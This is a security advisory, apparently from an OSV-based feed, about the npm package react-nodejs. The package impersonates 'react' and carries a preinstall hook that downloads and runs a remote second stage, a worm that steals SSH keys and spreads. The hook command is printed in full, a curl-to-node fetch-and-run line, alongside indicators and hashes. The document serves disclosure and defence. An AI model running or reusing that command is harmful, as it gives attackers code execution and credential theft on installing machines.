Skip to content
Heist/ feed
Unrated

Malicious code in react-nodejs (npm)

Type: advisorySource: OSV1 source record

The package react-nodejs impersonates the legitimate 'react' package (it republishes react's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 19.3.0 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email s7dwzxru4z@ooynib.com), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd. On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that t

Announced Group revision 1
Original source ↗

MAL-2026-17294

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-17294

react-nodejs

Source reference: /affected/0/package/name

Affected versions
19.3.0

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "react-nodejs",
      "purl": "pkg:npm/react-nodejs",
      "ecosystem": "npm"
    },
    "versions": [
      "19.3.0"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-nodejs/MAL-2026-17294.json",
      "indicators": {
        "evidence_files": [
          {
            "path": "package.json",
            "tlsh": "43210919cda48cb31ad56b9a6c3a1186a31d545f0c493e4cb78a842e5f4d0df50fb21c",
            "sha256": "4ce8de223918656f7d92d0d51f7ecb32334d848189225e96e871d43e452fa3c7"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "030d07792f9dc3f792a2112fc1ab24d2b43a7a29",
              "sha512_sri": "sha512-ATi8XqGT+kcozEl79pCL+ZH5bTfr2+6OeEzB3k/KScvbn9ZGduLcuP819loUvnheFux8uocdLx0Uvox69Ijcpw=="
            },
            "filename": "react-nodejs-19.3.0.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#65345 · Revision 1
Added to Heist Feed
Publisher date
Read the original announcement